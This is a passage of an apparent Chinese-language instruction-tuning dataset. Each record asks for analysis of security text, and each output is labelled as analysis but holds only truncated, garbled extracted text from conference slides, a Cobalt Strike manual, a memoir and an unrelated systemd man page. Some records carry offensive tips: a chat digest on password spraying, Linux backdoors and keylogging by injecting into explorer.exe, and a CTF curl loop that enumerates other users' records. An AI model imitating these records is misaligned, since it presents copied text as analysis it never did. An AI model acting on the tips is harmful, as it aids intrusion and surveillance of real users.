good/bad  black box  but can arbitrarily probe and get a label  label = malicious / benign  also a viable solution for traditional AV scanners An(adversary [for(Android(mal", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n调用栈 lookup:172, JndiManager (org.apache.logging.log4j.core.net) lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:221, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:244, PatternLayout (org.apache.logging.log4j.core.layout) encode:229, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config) log:481, LoggerConfig (org.apache.logging.log4j.core.config) log:456, LoggerConfig (org.apache.logging.log4j.core.config) log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config) log:161, Logger (org.apache.logging.log4j.core) tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.s", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBypassing the secureboot and etc on NXP SOCs Yuwei ZHENG, Shaokun CAO, Yunding JIAN, Mingchuang QIN UnicornTeam, 360 Technology Defcon 26 About us  360 Technology is a leading Internet security company in China. Our core products are anti-virus security software for PC and cellphones.  UnicornTeam (https://unicorn.360.com/) was built in 2014. This is a group that focuses on the security issues in many kinds of wireless telecommunication systems.  Highlighted works of UnicornTeam include:  Low-cost GPS spoofing research (DEFCON 23)  LTE redirection attack (DEFCON 24)  Attack on power line communication (Black Hat USA 2016) Agenda  Motivation  About Secure Boot  Different implementations of secure boot  Secure boot and Anti-clone  Details of the vulnerability  Exploitation  Countermeasures Motivation  Research the Secure Boot implementation in cost- constrained systems.  Assess the anti-cloning strength of embedded SoCs.  Attempt to modify peripherals as hardware Trojan. About Secure Boot  Public key-based binary signing and verification  Signing 1) Signer generate a key pair, K-priv and K-pub(Certificate). 2) Calculate the binary images hash. 3) Encrypt the hash with K-priv, the output is Signature. 4) Attach the Certificate(K-pub) and Signature to binary image.  Verification 1) Calculate the binary images hash 2) Decrypt the Signature with K-pub (certificate), the output is the original Hash. 3) If the two hashes are equal, the Signature is valid, which means binary hasnt been modified illegally. About Secure Boot  Principle of Secure Boot  Boot ROM has been masked into the SoCs at the chip manufacturing stage, as well as the Root PuK(public key) has been permanently programmed into the OPT memory during the final product making stage. Silicon's physical mechanism ensures Root PuK and Boot Rom can not be replaced or bypassed.  Product vendor use its Root PrK(private key) to generate a signature of the Boot image and App PuK, as well as to generate a signature of the", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#BHUSA @BlackHatEvents Glitched on Earth by Humans: A Black-Box Security Evaluation of the SpaceX Starlink User Terminal Lennert Wouters @LennertWo COSIC #BHUSA @BlackHatEvents Starlink 101 Laser link Lower Earth Orbit (LEO) Space Earth User Terminal (UT) Gateway Internet Satellite 2 This talk Source: u/darkpenguin22 Source: SpaceX Source: SpaceX #BHUSA @BlackHatEvents 3 #BHUSA @BlackHatEvents Teardowns youtube.com/c/KenKeiter @kenkeiter youtube.com/c/MikeOnSpace @mikeonspace youtube.com/c/Thesignalpath @TheSignalPath youtube.com/c/ColinOFlynn @colinoflynn danmurray.net @DanJMurray 4 olegkutkov.me @olegkutkov #BHUSA @BlackHatEvents Hardware revisions Circular UT Square UT High Performance UT  50 x 30 cm (19 x 12)  Residential and RV  rev3_proto0  rev3_proto1  rev3_proto2  57 x 51 cm (22 x 20)  Business and Maritime  hp1_proto0  hp1_proto1  59 cm (23,23) diameter  Residential  rev1_pre_production  rev1_production  rev1_proto1/2/3  rev2_proto0/1/3  rev2_proto2 (SoC cut 3)  rev2_proto4 (SoC cut 4) 5 This talk (but attack should apply to all UT hardware) Transceiver  External phased array  transceiver_rev2p0/5 #BHUSA @BlackHatEvents ethernet + power motors UART Accessible connectors on V2* UT RX UT TX JST BM10B-ZPDSS-TF(LF)(SN) JST BM05B-ZESS-TBT(LF)(SN) 6 *V1 hardware had an extra connector, V3 does not have easily accessible connectors #BHUSA @BlackHatEvents UART  U-Boot 7 (Newer firmware no longer uses this version) U-Boot does not accept serial input (on non-development/fused hardware) #BHUSA @BlackHatEvents 8 UART  Login Prompt #BHUSA @BlackHatEvents Clock generation 59 cm (23,23) 9 GPS receiver STM STA8089 GLLBLU GPS clock SoC POE PCB overview #BHUSA @BlackHatEvents  (A) Digital BeamFormer (DBF)  STM GLLBSUABBBA  Codename: SHIRAZ  (B) Front-End Module (FEM)  Codename: PULSAR(AD)  V2 hardware and up:  1 DBF  16 FEMs 10 RF Components A B #BHUSA @BlackHatEvents 11 Siliconpr0n Thanks to John McMaster! @johndmcmaster siliconpr0n.org/archive/doku.php?id=mcmaster:spacex:", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n群聊精华 2021.7.27-2021.8.1 @haya问密码喷洒的密码感觉字典是个大问题大家有不错的这种强弱口令字典吗 @wywwzjj https://github.com/r35tart/RW_Password @L.N. https://github.com/berzerk0/Probable-Wordlists https://github.com/kaonashi-passwords/Kaonashi @haya https://github.com/L-codes/pwcrack-framework @山顶洞小霸王 Windows下net accounts 命令可以查密码策略 @Astartes 密码喷洒可以被设备监控到吧基本上不到最后一步不用这个内网搜集搜集信息做个密码本加上 姓名+符合规则的弱口令剩下的看运气了 @大海问cs自带的portscan扫描一个C段段的每个ip都开启了110,25,143端口很明显不正常各 位前辈们有遇到过这种情况吗 @Breezy 25和110 我本机如果开了火绒就会扫出来 不是说 本机开了火绒我就监听到了25和110 是通过火绒出口 不管扫什么 都会有25和110端口 @Se7en问师傅们工作组环境在一个08r2上我smbexe登陆成功用的hash是8bxxx  lsass内存里 抓出来administrator的hash是0a5cxxxx(找不到8bxxx)而且这个机器抓到的有个用户的ntlm有三 个这是什么情况 @skrskrt 缓存的有可能是历史密码正常 @L.N.: 改密码了 一直没注销 关机过 @路人甲问师傅们请问有无linux下比较好用的后门主要是要简单安全还有持续化 @tomato答 pupy @大海问各位师傅你们好晚辈请教一个概念问题书中(c primer plus) 里说:ANSWER和try都是指 针我的疑问: ANSWER 不是常量吗 try字符串吗 指针的申明不应该是 *吗 为什么说 ANSWER和try都是指针 No. 1 / 3 @Astartes ANSWER 近似于 static const char* ANSWER = \"Grant\"; 你进去调调就知道了预处理的时候 define 定义的就都被替换了 @skrtskrt #define ANSWER \"Grant\" 近似于 static const char* ANSWER = \"Grant\"; @L.N. 以前学c到指针的时候老是搞不懂后来学了内存相关知识很多一下子就明白了建议学指针 之前可以看点内存相关知识我看的是深入理解 c指针 @Hanamaki 1.用!=比较两个字符串是比较首地址 2.数组名大多数时候隐式转换成指向首元素的指针类型右值 @任我飞渡问各位大佬windows 有没有能跨用户session下键盘钩子的办法 L.N.答 CS是注入到指定用户的explorer.exe然后开启键盘记录 @任我飞度 搞定了注入进程被杀写个目标用户启动的计划任务 @B1ngDa0 搞个system权限的就可以注入system注入目标用户 @skrtskrt dll 也可以做键盘记录用rundll 32 去启而且不一定要用钩子 @山顶小霸王 dll还是exe还有用什么去启跟键盘记录没啥必然的联系吧 或者你想表达的是可信的进程去启动 @skrtskrt 对https://blog.csdn.net/zhou191954/article/details/43309707 No. 2 / 3 @Patrilic https://blog.csdn.net/sinat_24229853/article/details/47046581 @lengyi https://eyeofrablog.wordpress.com/2017/06/11/windows-keylogger-part-1-attack-on-user-la nd/ No. 3 / 3", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n'\\\" t .TH \"VCONSOLE\\&.CONF\" \"5\" \"\" \"systemd 231\" \"vconsole.conf\" .\\\" ----------------------------------------------------------------- .\\\" * Define some portability stuff .\\\" ----------------------------------------------------------------- .\\\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\\\" http://bugs.debian.org/507673 .\\\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\\\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \\n(.g .ds Aq \\(aq .el .ds Aq ' .\\\" ----------------------------------------------------------------- .\\\" * set default formatting .\\\" ----------------------------------------------------------------- .\\\" disable hyphenation .nh .\\\" disable justification (adjust text to left margin only) .ad l .\\\" ----------------------------------------------------------------- .\\\" * MAIN CONTENT STARTS HERE * .\\\" ----------------------------------------------------------------- .SH \"NAME\" vconsole.conf \\- 虚拟控制台配置文件 .SH \"SYNOPSIS\" .PP /etc/vconsole\\&.conf .SH \"描述\" .PP /etc/vconsole\\&.conf 文件被 \\fBsystemd-vconsole-setup.service\\fR(8) 用于配置虚拟控制台的 键盘映射与字体 .PP vconsole\\&.conf 文件的基本格式是一系列换行符分隔的 VAR=VALUE 行(每行一个变量) 可以直接嵌入到 shell 脚本中使用 注意此文件并不支持变量替换之类的任何高级 shell 特性 以便于应用程序无须支持这些高级 shell 特性 即可直接使用此文件 .PP 注意内核引导选项 \\fIvconsole\\&.keymap=\\fR, \\fIvconsole\\&.keymap\\&.toggle=\\fR, \\fIvconsole\\&.font=\\fR, \\fIvconsole\\&.font\\&.map=\\fR, \\fIvconsole\\&.font\\&.unimap=\\fR 可以覆盖此文件中的设置 .PP 在某些发行版上如果该文件不存在可能还会到其他位置去寻找 这取决于个别发行版自己的设置 [译者注]目前的Linux内核并不支持\\m[blue]\\fB中文控制台\\fR\\m[]\\&\\s-2\\u[1]\\d\\s+2除非你使用了\\m[blue]\\fBCJKTTY\\fR\\m[]\\&\\s-2\\u[2]\\d\\s+2补丁 .SH \"选项\" .PP 能够识别的命令行选项如下 .PP \\fIKEYMAP=\\fR, \\fIKEYMAP_TOGGLE=\\fR .RS 4 配置键盘映射表 \\fIKEYMAP=\\fR 的默认值是 \"us\" (此默认值也适合于中文控制台) \\fIKEYMAP_TOGGLE=\\fR 用于配置第二切换键盘映射表 其默认值是空(也就是未定义) .RE .PP \\fIFONT=\\fR, \\fIFONT_MAP=\\fR, \\fIFONT_UNIMAP=\\fR .RS 4 配置控制台字体控制台字体映射 控制台Unicode字体映射 .RE .SH \"例子\" .PP \\fBExample\\ \\&1.\\ \\&德文键盘与控制台\\fR .PP /etc/vconsole\\&.conf: .sp .if n \\{\\ .RS 4 .\\} .nf KEYMAP=de\\-latin1 FONT=eurlatgr .fi", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n4.1 Manual Strategic Cyber LLC (A HelpSystems Company) www.cobaltstrike.com/ / 2/ Table of Contents Table&of&Contents&..................................................................................................................................&2/ 1.&Welcome&to&Cobalt&Strike&..............................................................................................................&6/ 1.1#What#is#Cobalt#Strike?#............................................................................................................................#6/ 1.2#Installation#and#Updates#.......................................................................................................................#7/ System'Requirements'...................................................................................................................................................'7/ Run'the'update'program'............................................................................................................................................'7/ 1.3#The#Team#Server#......................................................................................................................................#8/ 1.4#Cobalt#Strike#Client#.................................................................................................................................#9/ 1.5#Distributed#and#Team#Operations#...................................................................................................#10/ 1.6#Scripting#Cobalt#Strike#.........................................................................................................................#11/ 2.&User&Interface&.................................................................................................................................&12/ 2.1#Overview#...................................................................................................................................................#12/ 2.2#Toolbar#......................", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Super Secret Hidden Service Web, 100 points ## Description: > TODO: Remember where I put that flag... ## Solution: A link to a website was attached. the site was called \"Dead simple Todolists\" and allowed creating a simple TODO list. The list created by using the interface had the following link: ``` http://138.247.13.110/todolist/1000/ ``` Accessing different IDs allowed viewing other users' TODOs. Therefore, the following bash command could be used to search for the flag: ```console # for i in `seq 1 1000`; do curl -s http://138.247.13.110/todolist/$i/ | gre p MCA; done 
  •  MCA{al3x4_5et_a_r3minder}
    •  ```", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHow can I pwn thee? Let me count the ways RenderMan RenderLab.net & Church of Wifi Render@Renderlab.Net How can I pwn thee?  Born out of conversations at SECTOR  Workforce is increasingly mobile and wireless  Mobile users are away from your watchful BOFH eye (and punishment)  How do you educate them, protect your company, protect yourself  By no means and exhaustive list  Full Disclosure Meet Bob  Bob works for widgets international  Bob sells widgets  Bob travels to customer sites  Bob is your worst nightmare Bob  Bob likes to think himself tech savvy  Bob really just knows enough to get access to pr0n  Bob is widgets internationals worst enemy  Bob is also the worst case scenario Let me count the ways  Let's pwn Bob  We won't touch Bob, just abuse wireless communication  I.E. Bored hackers on long trips to a conference through international airports coming from another international conference in, say, Norway... WiFi Threats  Bob has a laptop with tons of private company info  Bob likes to connect to hotspots at airports, train stations, hotels  Bob connects to anything  Linksys Global Network WiFi Threats  Hotspots generally do not encrypt  Cleartext = Clear to read = Clear to inject  Images, Scripts, DNS, etc  No VPN = certain pwn'age  No firewall + browsable shares = pillage!  MiTM attacks, password snarf  Defcon 15 Hotel net  Attacker is on the local net  Driver Vulns Norway experiment  Airpwn inject 'alternate' images  See if other continents were observant  First image, not so much... First Image Norway Experiment  Not many noticed  A few scratched heads  Lets up the ante  Second image... Second Image They got the hint I didn't get punched in the face (yay!) WiFi Threats  Karma, Hotspotter, Metasploit  Hacking the friendly skies  Cafe Latte exploit, recover company WEP keys  De-auth headaches  If it's on, it's probably pwn'able Stopping WiFi Threats  Disable Wifi when not in use  Connect to network but use VPN for everything  Assume your being attacked  Don'", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n我这10年的搞站路 我叫老牛是高中室友给起的原因很简单我在8人寝室年龄排第六四川话老6和老牛读音相仿 后来我就把我的qq昵称改成了L.N.我接受了这个称呼因为自我审视性格的确有执拗的一面内 向且不善言谈我以老牛的称呼警醒自己大学就去参加了很多社团和当了2年团支书得到了不错的 改善扯远了说回来L.N.是我踏上搞站路的第一个代号中途换过几个发现还是L.N. 更像我就这样一直用到现在 第一次知道破解别人QQ空间密码是可以学习的也是在高中于是迫不及待的学习了一些如今看来都是 违法乱纪的技术手段最后qq空间密码没破解开倒是认识了很多技术上的好朋友大家一起开开心心 的装逼很是快乐 从我开始决定不和他们这样装逼下去认真的开始写第一行PHP代码开始是在我2010年开始读大 学成都信息工程学院电子商务专业军训一结束拿着有限的4000块钱跑到电脑城配电脑左手一个主 机右手一个显示器高兴的像个傻子 大学5年转专业多读了一年在攻防技术知识海洋里痛苦着快乐着搞学校服务器论坛YY吹牛 逼红盟08sec90sec后来转专业到信息安全加入syclover小组通过学长引荐加入了insight- labs知道了世界有多大自己有多菜自己还是一个挖着CMS漏洞的web狗的时候团队大哥做的分 享已经是渗透三通道控制潜伏操作执行数据密取于是低调了很多牛逼吹不出了只能继 续边学习边搞站有巨人在前动力往往是喷涌不断的 14年开始出来实习了实习前有个小插曲至今记得由于PHP漏洞挖的还可以被拉入了一个搞PHP的 群里有一天我问兴趣成了工作是一件好事么heige说是当时不清楚他是到了创宇还是在医 院他大致观点是兴趣和工作可以兼容另外一个搞PHP的人都很认可的大哥ryat说不是听说ryat大哥 不在安全圈子在做公务员现在回头来看我选择不是 就这样我开始工作了由于2个学长多读一年只能叫学长和我一起参加国家测评中心比赛拿了第一 大家一起去实习了一个拿了编制和北京户口一个没有选择编制但也留了下来而我傻乎乎拿着360 的sp去了攻防实验室走的时候国测的leader是一名年纪偏大的大叔据说调他去网信办他不去当 时他劝我留下虽然我是本科可以走特批有编制他的有一句话我至今记得越到现在我体会越深 刻你留在这儿就是从半山腰出发不听老人言吃亏在眼前可能说的就是我在国测也有一个小 插曲在实习的时候一年一次的国测比赛又开始了我的工作是赛前审题和现场工作人员当时猪猪侠 代表广测来参加比赛我站在背后偷偷看他用UDF提权还测了好几次才成功哈哈哈哈最后他们拿 了第一 接着就去了360攻防实验室开始做渗透测试记得有个同学说你来了我们的成功率提升了一半一 时有点小得意后来搞智能硬件时间不长只待了8个月可以说是年轻气盛离开原因很简单原因是 给我打了C事情是有一天我们拿到了一批乌云注册用户的邮箱地址然后我突发奇想让我带的实习生 小莫注册一个google邮箱群发招聘实习生没经验发邮箱没挂代理最后乌云要发律师函惊动了谭 总小莫是我带的实习生不能让他受处罚会影响他offer的于是我和我的老大哥mickey双双背了 C 正巧insight-labs的几个大哥都在乌云我就去了乌云是因为三个白帽跑过去和ca叔一起弄工作很 开心好景不长工作了3个月就蹲地举手了在乌云比较有意思的几个事情都是和实习的小P干 的我去淘宝二手买了个电信企业级路由拿回来我们一起挖漏洞最后他提交乌云赚了通用说好 的火锅反正我是还没吃上蹲地举手的那天也是小P毕业正式入职的第一天据说还没到自己工位是 坐在我工位上和ca叔吹牛的时候就被拿下了我当时还在星巴克等我的摩卡可可碎片星冰乐 乌云被办对当时的我冲击挺大的不可否认我当时很天真也很理想也把三个白帽当亲儿子一气之下 就去西北耍了半个月回了成都有点心灰意冷想的是找个地方养老算了于是去了中国网安 ms509薪资比我应届毕业时候的都低我也没在意当时没有房贷很天真在网安有很多同班同 学工作节奏也慢过的也挺开心的周末没事就拉着几个朋友自驾去川西跑一圈也是美滋滋就这样 过了1年半慢慢觉得生活还是要有激情太安逸了就这样一辈子也是无趣 这个时候360的老领导懒总这个时候已经分家成奇安信了但还是叫360企业安全说成都有岗位了 做红队我想从入行到现在一直做攻击没有脱离一线去做红队也挺合适的于是重燃了斗志这一 下就是快3年了 就这么一晃而过10年了我也算是经历了事业单位私企甲方国企乙方回头一看做过的事情 还挺不少我一直坚信安全的本质是攻防对抗因此作为搞攻击的必须在一线体会真实的战场才能看 清楚什么是攻防没有体会过子弹打在肉上的感觉不要说自己在战场在一线这也是我定义的一线选 手脱离这样的一线快一年了也做过一些牛逼的事情以后老了给儿子吹牛用在这儿想起了处在一 线多年的大哥说过的话当时我问他要不要出来到公司干做红队也挺不错他说我要做点牛逼的事 ", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking the Supply Chain The Ripple20 Vulnerabilities Haunt Hundreds of Millions of Critical Devices DEF CON 28 Safe Mode 1 Who are we? 2 JSOF is a software security consultancy  Shlomi Oberman, co-founder, JSOF  Moshe Kol, Security researcher, JSOF; Finder of Ripple20  Ariel Schön, Security researcher, JSOF Agenda 3  Ripple20  CVE-2020-11901  Exploiting CVE-2020-11901 Ripple20 4  Series of 19 zero-day vulnerabilities in Treck TCP/IP*  Amplified by the supply chain  100s of millions of devices  Medical, ICS, Home, Enterprise, Transportation, Utilities Ripple20 5 CVE-2020-11896 CVE-2020-11897 CVE-2020-11898 CVE-2020-11899 CVE-2020-11900 CVE-2020-11901 CVE-2020-11902 CVE-2020-11903 CVE-2020-11904 CVE-2020-11905 CVE-2020-11906 CVE-2020-11907 CVE-2020-11908 CVE-2020-11909 CVE-2020-11910 CVE-2020-11911 CVE-2020-11912 CVE-2020-11913 CVE-2020-11914  4 critical remote code execution vulnerabilities Ripple20 6 CVE-2020-11896 CVE-2020-11897 CVE-2020-11898 CVE-2020-11899 CVE-2020-11900 CVE-2020-11901 CVE-2020-11902 CVE-2020-11903 CVE-2020-11904 CVE-2020-11905 CVE-2020-11906 CVE-2020-11907 CVE-2020-11908 CVE-2020-11909 CVE-2020-11910 CVE-2020-11911 CVE-2020-11912 CVE-2020-11913 CVE-2020-11914  8 medium-high severity vulnerabilities 100s of Millions of Devices Affected And many more... 7  Assumption: Every mid-large US organization has one 100s of Millions of Devices Affected 8 Medical Printers Utilities Transportation Networking Datacenter Smart Buildings Industrial Supply chain 9 Supply chain 10 11 Icon from www.flaticon.com Vulnerabilities 12 Icon from www.flaticon.com Ripple20 13 Icon from www.flaticon.com Why Treck TCP/IP? 14  Supply chain - mostly unexplored  1 vulnerability == multiple products  Large IoT impact  Zombie vulnerabilities  Good attack surface Treck TCP/IP 15  Treck is a small American company  Treck TCP/IP is a proprietary TCP/IP stack; Available >20 years  Embedded devices and RTOS  Very configurable. Each Treck instance is different.  Strategically located", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nVarious writeups for the [2022 Intent CTF](https://ctf.intentsummit.org) ([CTFTime Link](https://ctftime.org/event/1773)). Writeups for additional challenges can be found [here](https://jctf.team/INTENT-CTF-2022/). Participated as part of the [JCTF team](https://jctf.team/), which came in first! ![](images/top3.png)", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMachine Learning Protect against tomorrows threats Adversarial Machine Learning And Several Countermeasures Trend Micro ch0upi miaoski 7 Dec 2017 Machine Learning Protect against tomorrows threats Machine Learning Protect against tomorrows threats ch0upi  Staff engineer in Trend Micro  Machine Learning + Data Analysis  Threat intelligence services  NIPS  KDDCup 2014 + KDDCup 2016: Top10  GoTrend: 6th in UEC Cup 2015 Machine Learning Protect against tomorrows threats Machine Learning Protect against tomorrows threats miaoski  Senior threat researcher in Trend Micro  Threat intelligence  Smart City  SDR  Arduino + RPi makers  貓奴 Machine Learning Protect against tomorrows threats Machine Learning Protect against tomorrows threats 4 Outline  Cheating machine learning?  Attacking theories and practices  Countermeasures  Conclusion Machine Learning Protect against tomorrows threats CHEAT MACHINE LEARNING MODELS Machine Learning Protect against tomorrows threats Machine Learning Protect against tomorrows threats We Were Good Guys ... Machine Learning Protect against tomorrows threats Machine Learning Protect against tomorrows threats Even NVIDIA... Machine Learning Protect against tomorrows threats Machine Learning Protect against tomorrows threats ML-Based Anti-Virus? Machine Learning Protect against tomorrows threats Machine Learning Protect against tomorrows threats ML-Based Anti-Virus? Machine Learning Protect against tomorrows threats Machine Learning Protect against tomorrows threats CSOs Explained Machine Learning Protect against tomorrows threats Machine Learning Protect against tomorrows threats But Still ... Machine Learning Protect against tomorrows threats Machine Learning Protect against tomorrows threats Rescan Makes It Worse Compiler Hello World (no debug) Hello World (debug) Nothing (no debug) Nothing (debug) Visual Studio 2017 Cylance, Jiangmin Cylance, Cyren, F-Prot, Sophos ML, SentinelOne Static ML Cylance, Jiangmin Cylance, Cyren, F-Prot, Sophos ML, Sen", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSnakeYaml SnakeYaml SnakeYaml SnakeYaml SnakeYaml SPI ScriptEngineManager C3P0 ScriptEngineManager Reference SnakeYaml snakeyamlyamlyamlxmlproperties SpringyamlSnakeYamlYAML1.1 ProcessorUTF-8/UTF-16Java/YAML yamlhttps://www.yiibai.com/yaml Spring ymlyamlpocyml yamlhttps://www.345tool.com/zh-hans/formatter/yaml-formatter SnakeYaml   org.yaml snakeyaml 1.27  String dump(Object data) JavaYAML void dump(Object data, Writer output) JavaYAML String dumpAll(Iterator data) JavaYAML void dumpAll(Iterator data, Writer output) JavaYAML String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) JavaYAML String dumpAsMap(Object data) JavaYAML  T load(InputStream io) YAMLJava  T load(Reader io) YAMLJava  T load(String yaml) YAMLJava Iterable loadAll(InputStream yaml) YAMLJava Iterable loadAll(Reader yaml) YAMLJava Iterable loadAll(String yaml) YAMLJava SnakeYamlYaml.dump()Yaml.load()yaml Yaml.load()Java Yaml.dump()yaml User public class User { public String name; public void setName(String name) { this.name = name; } public String getName() { return name; } } Demo import Yaml; public class SankeYamlDemo { public static void main(String[] args) { User user = new User(); user.setName(\"xiaobei\"); Yaml yaml = new Yaml(); String dump = yaml.dump(user); System.out.println(dump); } } org.yaml.snakeyaml. !!com.zh1z3ven.SnakeYaml.User {name: xiaobei} !! fastjson @type User,print public class User2 { String name; int age; public User2() { System.out.println(\"User\"); } public String getName() { System.out.println(\"User.getName\"); return name; } public void setName(String name) { System.out.println(\"User.setName\"); this.name = name; } public String getAge() { System.out.println(\"User.getAge\"); return name; } public void setAge(String name) { System.out.println(", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDEFCON 15 Multiplatform malware within the .NET-Framework Multiplatform malware within the .NET-Framework DEFCON 0x0f August 3rd  August 5th Paul Sebastian Ziegler psz@observed.de DEFCON 15 Multiplatform malware within the .NET-Framework What exactly is multiplatform malware? DEFCON 15 Multiplatform malware within the .NET-Framework  Runs on several different processors or host operating systems  Does not need to be modified from system to system  Is able to jump from one system to another  May be anything from worm to trojan to virus Multiplatform malware... DEFCON 15 Multiplatform malware within the .NET-Framework Multiplatform malware does not...  Attack common design flaws in broadly used protocols various operating systems implement (XSS is not multiplatform malware)  Need to be in binary form DEFCON 15 Multiplatform malware within the .NET-Framework Recent Developments  More Devices  More Operating Systems  More Cross-System Integration  More Mobility  Less Security-Concerns DEFCON 15 Multiplatform malware within the .NET-Framework Notable implementations of multiplatform malware up until now  {Win32, Linux}/Simile.D (Virus)  Infects both PE and ELF executables  Polymorphic and Metamorphic  W32/Linux.Bi  PoC Virus  Infects local files DEFCON 15 Multiplatform malware within the .NET-Framework The Potential of multiplatform malware DEFCON 15 Multiplatform malware within the .NET-Framework I. Jumping Systems DEFCON 15 Multiplatform malware within the .NET-Framework The Old Standard Secret Service Guy: We need access to that network and we need it now! Some Geek: Oh... yeah... right. Look, I'm really sorry, but I was extremely busy tonight. See, when I scanned that employee's firewall I saw that his son had an Xbox360 connected to the Internet so I spent all night hacking it just to get his savegames... Secret Service Guy: WTF? Do you know what this means? They have 200 nuclear warheads stationed around the world! Also we believe that they cut 26,72$ tax last year", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPentesterAcademy.co m/ PentesterAcademy.com VOIPSHARK:开源VOIP分析平台是与非 Nishant/Sharma/ Jeswin1Mathai1 Ashish1Bhangale1 PentesterAcademy.com1&1AttackDefense.com1 PentesterAcademy.co m/ PentesterAcademy.com PentesterAcademy.co m/ 关于我们 我,/Nishant/Sharma/  R&D1经理理及资深培训师, Pentester1Academy1  固件开发者, 企业级WiFi1APs和WIPS传感器器  信息安全硕士  曾在US/Asia1BlackhatDEFCON1USA及其它大会上发表演讲 1 合作者  Ashish/Bhangale,1高级安全研究员  Jeswin/Mathai,1安全研究员 PentesterAcademy.co m/ PentesterAcademy.com PentesterAcademy.co m/ PentesterAcademy.com1 PentesterAcademy.co m/ PentesterAcademy.com PentesterAcademy.co m/ AttackDefense.com1 PentesterAcademy.co m/ PentesterAcademy.com PentesterAcademy.co m/ 演讲概览  VoIP基本知识  SIP,1RTP1  安全相关:1TLS,1SRTP11 1  复原/解密VoIP通话 1  目前已有的开源工具及其问题 1  VoIPShark1  架构及内部原理理  分析VoIP流量量  复原通话  被动攻击检测  演示 PentesterAcademy.co m/ PentesterAcademy.com PentesterAcademy.co m/ VoIP电话通讯  信令1+1媒体 PentesterAcademy.co m/ PentesterAcademy.com PentesterAcademy.co m/ 信令协议1 SIP/(会话初始协议)  IETF制定  替代固话及PSTN(公共电话交换网络)1 1 H.3231  ITU-T制定  主要为视频会议制定也用于语音通话 1 SCCP/(瘦客户端)1  用于电话线路路侧控制的思科专有协议 PentesterAcademy.co m/ PentesterAcademy.com PentesterAcademy.co m/ 会话初始协议  基于文本的协议  应用  使用其它媒体流的通话(语音视频)如RTP1  使用SIP协议的Message方法发送文本消息  与其它协议协同工作  会话描述协议1(SDP)1定义媒体协调和设置过程  可在TCP,1UDP1或1SCTP1(流控制传输协议)上工作  安全性由TLS1(安全传输层协议)1提供如SIP1over1TLS1 1 PentesterAcademy.co m/ PentesterAcademy.com PentesterAcademy.co m/ 订阅, 发布和通告 PentesterAcademy.co m/ PentesterAcademy.com PentesterAcademy.co m/ 会话初始协议: 通话过程示例例 PentesterAcademy.co m/ PentesterAcademy.com PentesterAcademy.co m/ 用户代理理服务 (UAS) 解决方案 www.sipfoundry.org1 freeswitch.org1 www.elastix.org1 www.asterisk.org1 www.3cx.com1 PentesterAcademy.co m/ PentesterAcademy.com PentesterAcademy.co m/ 软电话客户端  基于IP的电话服务1  可选软件1  Zoiper1  X1Lite1  LinPhone1  MicroSIP1 选择软电话客户端需考虑的因素1  是否有编译码支持1  是否可以加密1(尤其是免费版)1  其它功能1(如文本消息挂起等待)1 www.zoiper.com1 www.microsip.org1 www.linphone.org1 www.counterpath.com/x-lite-download1 www.3cx.com1 PentesterAcademy.co m/ 